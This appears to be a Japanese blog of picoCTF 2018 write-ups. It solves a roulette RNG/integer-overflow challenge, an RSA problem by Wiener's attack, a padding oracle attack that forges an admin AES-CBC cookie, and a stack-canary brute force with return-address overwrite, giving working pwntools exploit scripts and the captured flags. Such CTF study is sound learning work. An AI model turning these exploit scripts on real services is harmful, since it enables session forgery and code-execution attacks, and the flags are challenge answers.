こちらから操作できるのは、掛け金とbetする番号のみ。これらをなんとかしてflagを貰える条件を作ります。
まずは掛け金の操作。

  • get_long() 関数、なんだか無駄な処理になっていて怪しい
  • get_long() 関数の2つ目のwhile, ここで数値を一桁ずつ取得しているが、LONG_MAX = 2147483647 を超えた場合は 2147483647 が代入される
  • 上記、関数内のloacl変数 luint64_t なのに対し、関数の返り値は long なので、いい感じに uint64_t -> long 変換時に桁あふれして負の数に反転する範囲の入力を与えると、負の値が返る

ということで、main関数の L194 で負の値をbetにつっこみ、$1,000,000,000 を達成させることはできそう。
ただ、上記で触れたとおり 3回以上勝ってから上記の条件に持ち込まなければならないのですが、確率1/36なので3回勝つのも結構厳しい。

勝ち回数を管理する wins を操作できるのは、 play_roulette() 関数の if (spin == choice) の箇所だけ。ここの判定をクリアしたときのみwinの値が+1されます。ここの判定はlong同士の判定なので、型違いを利用して〜とか == の評価がこういう前提だと崩れるから〜というのが効かなさそう。
となると考えられるのは唯一つ、spin(出目)を予想することです。そういえば、ランダム関数が何度か使われていましたが、なんだか怪しいニオイがしました。

  • get_rand() 関数の中で seedsrand() 関数で設定しているが、このseedの値をそのまま返却して所持金の初期値としている
  • 同じseedで生成された rand() の系列は同じになるため、seedがわかれば rand() によって生成される値が予測可能になる

ということで、出目も予想することができそうです。
出目予想用のスクリプトはこちら

predict.c

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

#define SEED 709 // 書き換え
#define ROULETTE_SIZE 36

int main(int argc, char *argv[]) {
  srand(SEED);
  for (int i=0; i<10; i++) {
    long spin = (rand() % ROULETTE_SIZE)+1;
    printf("%lu ",spin);
  }
  return 0;
}

※ 上記ScriptはLinux上で動作させます

ではルーレットスタート!

$ nc 2018shell.picoctf.com 21444
Welcome to ONLINE ROULETTE!
Here, have $4197 to start on the house! You'll lose it all anyways >:)

今回は所持金 $4197 からのStartです。
上記 predict.cスクリプトSEEDを 4197 に書き換えてビルド&実行します。

# gcc predict.c
# ./a.out 
2 28 25 14 23 5 10 14 16 27

rand()関数は出目(spin)の決定時に1回、当たったらメッセージ出力時に1回、ハズレた場合は2回呼ばれるので、あたりを続ける場合は一つおきに spin の値が回ってくるはずです。

ので、最初の3回は適当な金額をかけておいて、2, 25, 23 の順に出目を入力し、win を 3 にします。
その後は適当な数にかけ、金額を 2147500000 付近の値を入力すると、フラグが貰えました!
最後の方の出力結果

Spinning the Roulette for a chance to win $200!

Roulette  :  23

Wow.. Nice One!

How much will you wager?
Current Balance: $4497   Current Wins: 3
> 2147500000
Choose a number (1-36)
> 1

Spinning the Roulette for a chance to win $32704!

Roulette  :  10

Not this time..
It's over for you.

*** Current Balance: $2147471793 ***
Wow, I can't believe you did it.. You deserve this flag!
picoCTF{1_h0p3_y0u_f0uNd_b0tH_bUg5_e9328e04}

[Crypto] Super Safe RSA 2 (425pt)

Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc 2018shell.picoctf.com 59549.

eがめっちゃ大きいので安全に違いない!とな。
指定のホストにつないでみます。

$ nc 2018shell.picoctf.com 59549
c: 23475482728878198780286526767560703523703092364535054112443942009232284875758176781656058777856393238300315722745884933345723917529499286555201553856983192799684389150038443768730389871603663306913822938572423838037194387896952392748493848674167739866957456773296132437671089779720267583249884842151922751606
n: 105801165867766220694188409463596454979100070368755671829576978960175669422452678351945251325754191753863393002622377882769060812503132462424164682923994916641186629797136720454026638852517920591669363405953344658832282479077512573066810565393518230410885923659136190192093416316788645920351059650280785346411
e: 83926411187078482616365913038191996963524045321886890022494444439059653726369034125495182578878849607215713444730908631635796030633082797870592937900265844429495104112674634481109852091454570806052350677099418640912974097688422140403138020211529638617430383342875276709163629432050827830424245692095000560897

ちなみにこの値、つなぐたびに変わっています。

RSA暗号の勉強になるこのページ

RSA暗号運用でやってはいけない n のこと #ssmjp

のスライドp14より、「eの値が大きすぎてはいけない」

f:id:kusuwada:20190412173316p:plain

ということで、Wiener's Attack というのが有効そうです。
eの値が大きすぎてはいけない」→ Low Public Exponent Attack は何度か見ましたが、これは初めてかも?

そして、からの、下記記事のコンボ。

公開鍵暗号 - RSA - Wiener's Attack - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです

超暗号の勉強になるこのページ。
原理がわかったところで、ライブラリを探します。自分で実装するのも素敵ですが、もうあるなら使ってしまえ。

github.com

こちら の紹介記事より、上記のリンク先が使いやすそうだったので使います。実際すぐに使えて、かなり高速に動作しました。
installも下記コマンドのみ。

python3 -m pip install owiener
import owiener
from Crypto.Util.number import *

e = 6738627569764131841596986710255045606820236127894937701990391021253397192736581531435216759792196995275704063925220872339913132329290736242039498583201867919055581401922159106765110550831194285765320304406753071586294935488836468971191279382649703673472721422101950461807278300795263965522432895776370578673
n = 70559104495867056798648620870743716877165332339646993477447556536169338843325985592853459144671866828468416238611151990819761456057633324987145329708787494063253279858311699123119479225046066260851194441684773478470276668206386196067454182432407706454895712657160214095358424327133519342030981648232858667563
d = owiener.attack(e, n)

if d is None:
    print("Failed")
else:
    print("Hacked d={}".format(d))

c = 2123495377777788765266854282946308193562039712995726411595205293721321311006846262521530846236643487443000878396957368791965231280078063222450362844034405188737728951199390894628705120648537732419398793373323950281934052394077135896269047568644975174826324865056201993852106380983833935365866759239285250273

plain = pow(c, d, n)
print(long_to_bytes(plain).strip())

サンプルコードに問題の数値を当てはめ、最後に導かれた d を使って復号・表示するだけ。

実行結果

$ python solve.py 
Hacked d=65537
b'picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_1245032}'

[Crypto] Magic Padding Oracle (450pt)

Can you help us retreive the flag from this crypto service? Connect with nc 2018shell.picoctf.com 24933. We were able to recover some Source Code.

DLできるソースは下記

#!/usr/bin/python2
import os
import json
import sys
import time

from Crypto.Cipher import AES

cookiefile = open("cookie", "r").read().strip()
flag = open("flag", "r").read().strip()
key = open("key", "r").read().strip()

welcome = """
Welcome to Secure Encryption Service version 1.51
"""
def pad(s):
  return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)

def isvalidpad(s):
  return ord(s[-1])*s[-1:]==s[-ord(s[-1]):]

def unpad(s):
  return s[:-ord(s[len(s)-1:])]

def encrypt(m):
  IV="This is an IV456"
  cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV)
  return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex")

def decrypt(m):
  cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex"))
  return cipher.decrypt(m[32:].decode("hex"))
  

# flush output immediately
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
print welcome
print "Here is a sample cookie: " + encrypt(cookiefile)

# Get their cookie
print "What is your cookie?"
cookie2 = sys.stdin.readline()
# decrypt, but remove the trailing newline first
cookie2decoded = decrypt(cookie2[:-1])

if isvalidpad(cookie2decoded):
   d=json.loads(unpad(cookie2decoded))
   print "username: " + d["username"]
   print "Admin? " + d["is_admin"]
   exptime=time.strptime(d["expires"],"%Y-%m-%d")
   if exptime > time.localtime():
      print "Cookie is not expired"
   else:
      print "Cookie is expired"
   if d["is_admin"]=="true" and exptime > time.localtime():
      print "The flag is: " + flag
else:
   print "invalid padding"

とりあえず何も見ずに nc でつないでみます。

$ nc 2018shell.picoctf.com 24933

Welcome to Secure Encryption Service version 1.51

Here is a sample cookie: 5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67
What is your cookie?

配布されたソースが動いているようです。最初に cookie, flag, key ファイルを読み込んでおり、我々に提示される sample cookie は、cookieファイルの文字列をencrypt()関数でAES暗号したもののようです。
ソースのencrypt関数では、IVが固定で入れてあるのがわかります。
"What is your cookie?" で、入力された文字列はdecrypt()関数で復号され、もしisvalidpad()関数で有効なパディングと判断されたら下記の処理が入ります。

  • 入力文字列をdecrypt、unpadした結果のファイルをjson.load
  • username, is_admin, expires の値を確認
  • is_admin が true かつ expire の値が今より大きければ flag を表示

ここで突如現れた usrename, is_admin, expires。問題から推測するに、もとのcookieを復号するとこれが書かれていて、ちょっと書き換えると通るのでは?
ということで、与えられた cookie をそのまま返してみます。

username: guest
Admin? false
Cookie is expired

ということで、与えられた cookie は username = guest, is_admin = false, expires は過去の値が入っていることがわかりました。

ヒントを見てみます。

Paddding Oracle Attack

リンク先はChromeの警告が。検索すると、Rintaroさんの記事がHit。この解説がとてもわかり易かった。

Padding Oracle AttackによるCBC modeの暗号文解読と改ざん - security etc...

サービスの実装によってはこのCBCモードに対してパディングオラクル攻撃を適用することができる。

Padding Oracle Attackとは、暗号アプリケーションが文字列を復号できるかどうか(復号時のパディング情報が合っているか)の情報を返す場合、攻撃者がこの復号成否情報を用いて平文の特定や暗号文の改ざんができてしまう攻撃である。

今回使われているAESの暗号モードはCBCのようだし、復号の成否が観測可能なのでこの方法が使えそう!

まずは、sample_cookie を解読してみます

上記、Rintaroさんの記事に攻撃コードも載っていたので参考にさせていただいて組んでみました。
python2 -> python3、地味に面倒…。そしてあんまりすっきりしないコードになってしまったがまぁ良いか!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code refers bellow.
# http://rintaro.hateblo.jp/entry/2017/12/31/174327

from pwn import *
import binascii

host = "2018shell.picoctf.com"
port = 24933

sample_cipher = b"5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67"
block_size = 16
sample_cipher = binascii.unhexlify(sample_cipher.zfill(len(sample_cipher) + len(sample_cipher) % block_size*2))
blocks = []

def is_valid_padding(data):
    r = remote(host, port)
    r.recvuntil("What is your cookie?")
    r.sendline(data)
    res = r.recvall()
    if b"invalid padding" in res or b"TypeError" in res:
        return False
    print(res)
    return True

for i in range(len(sample_cipher) // block_size):
    blocks.append(sample_cipher[i*block_size:(i+1)*block_size])
blocks.reverse()
plain_text = b""

for i in range(len(blocks)-1):
    c_target = binascii.hexlify(blocks[0])
    c_prev = binascii.hexlify(blocks[1])
    print('c_prev: ' + str(c_prev))
    print('c_target: ' + str(c_target))
    blocks.pop(0)
    
    m_prime = 1
    c_prev_prime = 0
    m = Dec_ci = b""

    while True:
        attempt_byte = b"\x00" * (block_size - m_prime) + bytes([c_prev_prime])
        adjusted_bytes = b""
        for c in Dec_ci:
            adjusted_bytes += bytes([c ^ m_prime])
        payload = binascii.hexlify(attempt_byte) + binascii.hexlify(adjusted_bytes) + c_target
        print(payload)
        if is_valid_padding(payload):
            print('---------------valid!!!!!-------------')
            print('c_prev_prime: ' + str(c_prev_prime) + ', m_prime: ' + str(m_prime))
            m += bytes([c_prev_prime ^ m_prime ^ binascii.unhexlify(c_prev)[::-1][m_prime-1]])
            Dec_ci = bytes([c_prev_prime ^ m_prime]) + Dec_ci
            m_prime += 1
            c_prev_prime = 0
            if m_prime <= block_size:
                continue
            break
        c_prev_prime += 1
        if c_prev_prime > 0xff:
            print('[ERROR] not found.')
            raise Exception
    print("Dec[" + str(len(blocks)) + "]: " + repr(binascii.hexlify(Dec_ci).zfill(block_size*2)))
    print("m[" + str(len(blocks)) + "]: " + repr(m[::-1]))
    plain_text = m[::-1] + plain_text
    print("plain_text: " + repr(b"*" * (len(sample_cipher)-len(plain_text)-block_size) + plain_text))

実行結果

plain_text: b'{"username": "guest", "expires": "2000-01-07", "is_admin": "false"}\r\r\r\r\r\r\r\r\r\r\r\r\r'

おお、出てきました!予想したのほぼそのままでしたね。
ちなみに毎回つなぎに行くので、結構時間かかりました。数時間?そして何より、これ、まだFlagじゃないんですねー!!!!
むしろこのフェーズは不要でした。

では、好きな暗号文を渡すには?

上記解説記事の続きに出てくる Encryption Attack がこれにあたります。
今回、上記のプログラムを書き換えてAttackを試みたのですが、最後の方でうまい具合に動かなくなる(該当の値が見つからない)バグが取れず。。。

せっかくなので、条件に与えられているけど使わなかった IV を使う下記のpythonライブラリを使って解きました。

GitHub - mwielgoszewski/python-paddingoracle: A portable, padding oracle exploit API

padding oracle で guthubリポジトリ検索するとかなりHitします。このライブラリ、installも pip install でできるので使いやすい。攻撃もREADMEのサンプルコードをちょいと書き換えるだけでできました。
ただ python3 に対応していない。そして、原理をフムフムしながら組んだ上のコードの改造で解きたかった…!

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

from pwn import *
from paddingoracle import BadPaddingException, PaddingOracle
import json

host = "2018shell.picoctf.com"
port = 24933
IV = "This is an IV456"
block_size = 16
attack_json = {"username": "admin", "expires": "2019-05-01", "is_admin": "true"}

class PadBuster(PaddingOracle):

    def oracle(self, data, **kwargs):
        while True:
            try:
                print(data)
                r = remote(host, port)
                r.recvuntil("What is your cookie?")
                r.sendline(str(data).encode('hex'))
                res = r.recvall()
                print res
                if "invalid padding" in res or "TypeError" in res:
                    raise BadPaddingException
                return
            except (socket.error):
                print 'Retrying request in %.2f seconds...', self.wait
                time.sleep(self.wait)
                continue

if __name__ == '__main__':
    plaintext = json.dumps(attack_json)
    padbuster = PadBuster()
    encrypted_cookie = padbuster.encrypt(plaintext, block_size, iv=IV)
    
    print 'Encrypted attack_json: %r' % encrypted_cookie

実行結果

(前略)
Encrypted attack_json: bytearray(b'\xcc\xb4c\xfac]\xfc\x81\x83\xa6J\x92\x15En\x9c\x00\xe7\xc5_\xc4\xd29k".\xc8\x90\xb0\x85\xa0\x04\xf6\x18\xa7\xa6\x94@\x83\xb82\xf7\xfc\xfb\x98i.+1t\xf1\xf1\xd7\xae\xb4\xa0df\xfc\x02\x89\xed\xea\xafb\xfb\xe5B{\x9d&\x1b\x06\x9f\xe2K4.H\xe8This is an IV456')

hex encode

ccb463fa635dfc8183a64a9215456e9c00e7c55fc4d2396b222ec890b085a004f618a7a6944083b832f7fcfb98692e2b3174f1f1d7aeb4a06466fc0289edeaaf62fbe5427b9d261b069fe24b342e48e85468697320697320616e204956343536

このcookieを送り込んであげます。

$ nc 2018shell.picoctf.com 24933

Welcome to Secure Encryption Service version 1.51

Here is a sample cookie: 5468697320697320616e204956343536d6ca0a2883280762915414c54e97df1b40871b72f45ec7f9510a080095436d514129e137aaac86a0f7fa8bd3d250b9d1df35b668fcb93f00bb06692560a3fed8a3b523d385f1477b6daac14ff2416c67
What is your cookie?
ccb463fa635dfc8183a64a9215456e9c00e7c55fc4d2396b222ec890b085a004f618a7a6944083b832f7fcfb98692e2b3174f1f1d7aeb4a06466fc0289edeaaf62fbe5427b9d261b069fe24b342e48e85468697320697320616e204956343536
username: admin
Admin? true
Cookie is not expired
The flag is: picoCTF{0r4cl3s_c4n_l34k_ae6a1459}

うおー!flag取れたー!!!
これ、前者のプログラムも後者のプログラムも、まわし切るのに数時間かかったので、うまく行ったときの喜びは格別。

POODLE

この Padding Oracle Attack, 調べてみると、なんと2014年のPOODLEの脆弱性にも関連してたんですねー!!!知らなかった!

相次ぐSSL関連の脆弱性 その2 ~POODLE脆弱性とは~ | グローバルサインブログ

POODLEとは「Padding Oracle On Downgraded Legacy Encryption」の頭文字を取ったもので、SSLのバージョン3.0に存在する脆弱性(CVE-2014-3566)のことを指します。

当時はセキュリティ何もわからん民だったけど「あなたのシステムに影響ありますか?調査してください」ってHeartbleedと合わせて投げられて、もう泣きそうだった記憶が。自分が興味を持ってセキュリティ始めるきっかけだった…のかもしれない。

[Binary] buffer overflow 3 (450pt)

It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_0_dcd896c1491ad710043225eda6abcd8a. Source.

今回も実行ファイルとソースファイルが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

ソースを読む限り、まず read_canary()関数で canary.txt ファイルを読み込み char global_canary[4] に保存、その後 vuln() 関数を呼び出しています。
vuln関数では、char canary[4]に global_anary をコピー、何バイトBufferに書き込みたいかを聞かれ、入力します。
32より小さい数値を入力した場合は、ここで入力した数値分、文字列をinputから読み込み、buf[32]に格納します。
その後、もし canaryglobal_canary の値が異なっていれば強制終了。そうでない場合は fflush(stdout) が呼ばれます。

今回も最終的に、 win() 関数がcallできれば、flagが表示されるようです。

picoCTFのshell serverの指定のdirectry上には、下記ファイルが置いてあります。

/problems/buffer-overflow-3_0_dcd896c1491ad710043225eda6abcd8a$ ls                    
canary.txt  flag.txt  vuln  vuln.c

flag.txtcanary.txtは読み込み禁止になっています。

$ ./vuln                
How Many Bytes will You Write Into the Buffer?                                                                  
> 100                                                                                                           
Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa                                                                        
*** Stack Smashing Detected *** : Canary Value Corrupt!

試しに、 read() 関数で BufferOverflowさせると、canaryの値が合わなくなるようです。ということは、canaryを上書きしてしまっているっぽいですね。
このcanaryというのは、local変数と ebp の間において関数の最後にcanaryのチェックをすることによってスタックバッファオーバーフローを検知する機構だそうです。bufferoverflow canary 的なワードで調べるとたくさん出てきました。下記は日本語wikipedia

バッファオーバーラン - Wikipedia

ちなみに、canaryは実行毎にランダムな値を割り振ることもあるそうですが、今回はファイルから読み出しているので毎回変わりません。良かった。
vuln関数を確認してみます。

[0x080488b3]> s sym.vuln
[0x080487c3]> pdf
/ (fcn) sym.vuln 240
|   sym.vuln ();
|           ; var size_t nbyte @ ebp-0x54
|           ; var char *s @ ebp-0x50
|           ; var void *local_30h @ ebp-0x30
|           ; var void *s1 @ ebp-0x10
|           ; var void *buf @ ebp-0xc
|           ; CALL XREF from sym.main (0x80488f9)
|           0x080487c3      55             push ebp
|           0x080487c4      89e5           mov ebp, esp
|           0x080487c6      83ec58         sub esp, 0x58               ; 'X'
|           0x080487c9      c745f4000000.  mov dword [buf], 0
|           0x080487d0      a158a00408     mov eax, dword [obj.global_canary] ; [0x804a058:4]=0
|           0x080487d5      8945f0         mov dword [s1], eax
|           0x080487d8      83ec0c         sub esp, 0xc
|           0x080487db      68908a0408     push str.How_Many_Bytes_will_You_Write_Into_the_Buffer ; 0x8048a90 ; "How Many Bytes will You Write Into the Buffer?\n> " ; const char *format
|           0x080487e0      e81bfdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x080487e5      83c410         add esp, 0x10
|       ,=< 0x080487e8      eb2b           jmp 0x8048815
|       |   ; CODE XREF from sym.vuln (0x8048819)
|      .--> 0x080487ea      8b45f4         mov eax, dword [buf]
|      :|   0x080487ed      8d55b0         lea edx, dword [s]
|      :|   0x080487f0      01d0           add eax, edx
|      :|   0x080487f2      83ec04         sub esp, 4
|      :|   0x080487f5      6a01           push 1                      ; 1 ; size_t nbyte
|      :|   0x080487f7      50             push eax                    ; void *buf
|      :|   0x080487f8      6a00           push 0                      ; int fildes
|      :|   0x080487fa      e8f1fcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|      :|   0x080487ff      83c410         add esp, 0x10
|      :|   0x08048802      8d55b0         lea edx, dword [s]
|      :|   0x08048805      8b45f4         mov eax, dword [buf]
|      :|   0x08048808      01d0           add eax, edx
|      :|   0x0804880a      0fb600         movzx eax, byte [eax]
|      :|   0x0804880d      3c0a           cmp al, 0xa                 ; 10
|     ,===< 0x0804880f      740c           je 0x804881d
|     |:|   0x08048811      8345f401       add dword [buf], 1
|     |:|   ; CODE XREF from sym.vuln (0x80487e8)
|     |:`-> 0x08048815      837df41f       cmp dword [buf], 0x1f
|     |`==< 0x08048819      7ecf           jle 0x80487ea
|     | ,=< 0x0804881b      eb01           jmp 0x804881e
|     | |   ; CODE XREF from sym.vuln (0x804880f)
|     `---> 0x0804881d      90             nop
|       |   ; CODE XREF from sym.vuln (0x804881b)
|       `-> 0x0804881e      83ec04         sub esp, 4
|           0x08048821      8d45ac         lea eax, dword [nbyte]
|           0x08048824      50             push eax                    ;   ...
|           0x08048825      68c28a0408     push 0x8048ac2              ; const char *format
|           0x0804882a      8d45b0         lea eax, dword [s]
|           0x0804882d      50             push eax                    ; const char *s
|           0x0804882e      e86dfdffff     call sym.imp.__isoc99_sscanf ; int sscanf(const char *s, const char *format,   ...)
|           0x08048833      83c410         add esp, 0x10
|           0x08048836      83ec0c         sub esp, 0xc
|           0x08048839      68c58a0408     push str.Input              ; 0x8048ac5 ; "Input> " ; const char *format
|           0x0804883e      e8bdfcffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048843      83c410         add esp, 0x10
|           0x08048846      8b45ac         mov eax, dword [nbyte]
|           0x08048849      83ec04         sub esp, 4
|           0x0804884c      50             push eax                    ; size_t nbyte
|           0x0804884d      8d45d0         lea eax, dword [local_30h]
|           0x08048850      50             push eax                    ; void *buf
|           0x08048851      6a00           push 0                      ; int fildes
|           0x08048853      e898fcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x08048858      83c410         add esp, 0x10
|           0x0804885b      83ec04         sub esp, 4
|           0x0804885e      6a04           push 4                      ; 4 ; size_t n
|           0x08048860      6858a00408     push obj.global_canary      ; 0x804a058 ; const void *s2
|           0x08048865      8d45f0         lea eax, dword [s1]
|           0x08048868      50             push eax                    ; const void *s1
|           0x08048869      e8d2fcffff     call sym.imp.memcmp         ; int memcmp(const void *s1, const void *s2, size_t n)
|           0x0804886e      83c410         add esp, 0x10
|           0x08048871      85c0           test eax, eax
|       ,=< 0x08048873      741a           je 0x804888f
|       |   0x08048875      83ec0c         sub esp, 0xc
|       |   0x08048878      68d08a0408     push str.Stack_Smashing_Detected_____:_Canary_Value_Corrupt ; 0x8048ad0 ; "*** Stack Smashing Detected *** : Canary Value Corrupt!" ; const char *s
|       |   0x0804887d      e8eefcffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048882      83c410         add esp, 0x10
|       |   0x08048885      83ec0c         sub esp, 0xc
|       |   0x08048888      6aff           push -1                     ; int status
|       |   0x0804888a      e8f1fcffff     call sym.imp.exit           ; void exit(int status)
|       |   ; CODE XREF from sym.vuln (0x8048873)
|       `-> 0x0804888f      83ec0c         sub esp, 0xc
|           0x08048892      68088b0408     push str.Ok..._Now_Where_s_the_Flag ; 0x8048b08 ; "Ok... Now Where's the Flag?" ; const char *s
|           0x08048897      e8d4fcffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804889c      83c410         add esp, 0x10
|           0x0804889f      a150a00408     mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804a050:4]=0
|           0x080488a4      83ec0c         sub esp, 0xc
|           0x080488a7      50             push eax                    ; FILE *stream
|           0x080488a8      e863fcffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|           0x080488ad      83c410         add esp, 0x10
|           0x080488b0      90             nop
|           0x080488b1      c9             leave
\           0x080488b2      c3             ret

canary は var void *s1 @ ebp-0x10 に、 bufは var void *local_30h @ ebp-0x30 に格納されるようです。0x30 - 0x10 = 0x20 (=32d) なので、bufの直後にcanaryのbufが来ていることがわかります。だから33文字入れただけでもcanaryが変わって怒られたんですね。

ここは今までどおり bufferoverflow の脆弱性を利用して vuln() 関数から win() 関数に飛ばしつつ、正しいcanaryをセットする、というミッションになりそう。

まずはcanaryを推測します。たかだか4byteなので、総当たりでいけそう。上記で試したように、1byteずつ入れていけば重複順列にしなくても大丈夫。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')
pico_ssh = ssh(host = '2018shell.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/buffer-overflow-3_0_dcd896c1491ad710043225eda6abcd8a')

canary = b''
for i in range(4):
    for c in range(0xff):
        attack = b'a'*32 + canary + bytes([c])
        print(attack)
        p = pico_ssh.process('./vuln')
        p.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ')
        p.sendline(str(32+i+1))
        p.recvuntil('Input> ')
        p.sendline(attack)
        res = p.recvall()
        if b'Canary Value Corrupt!' not in res:
            print(res)
            canary += bytes([c])
            break
print(canary)

実行結果

(前略)
b'Rgcd'

flag とかかと思ってたけど全然違った。勘でやってみなくてよかった。
更にradare2で、win() 関数のアドレスを調べると 0x080486eb
stackは下記のようになっているので、戻り値のところに上記アドレスがくるように調節する。

0x20 |   buf   | 32
0x10 | canary  | 4 + 12
0x4  |   ebp   | 4
0x4  | return  | 4
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# picoCTF の shell serverに接続
※上と同じなので割愛

win_adder = 0x080486eb
canary = b"Rgcd"
attack = b"a"*32 + canary + b"a"*(16-4+4) + p32(win_adder)

p = pico_ssh.process('./vuln')
p.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ')
p.sendline(str(100))
p.recvuntil('Input> ')
p.sendline(attack)
print(p.recvall())

実行結果

(前略)
b"Ok... Now Where's the Flag?\npicoCTF{eT_tU_bRuT3_F0Rc3_6b01eec0}\n"

うーん、今回も勉強になった!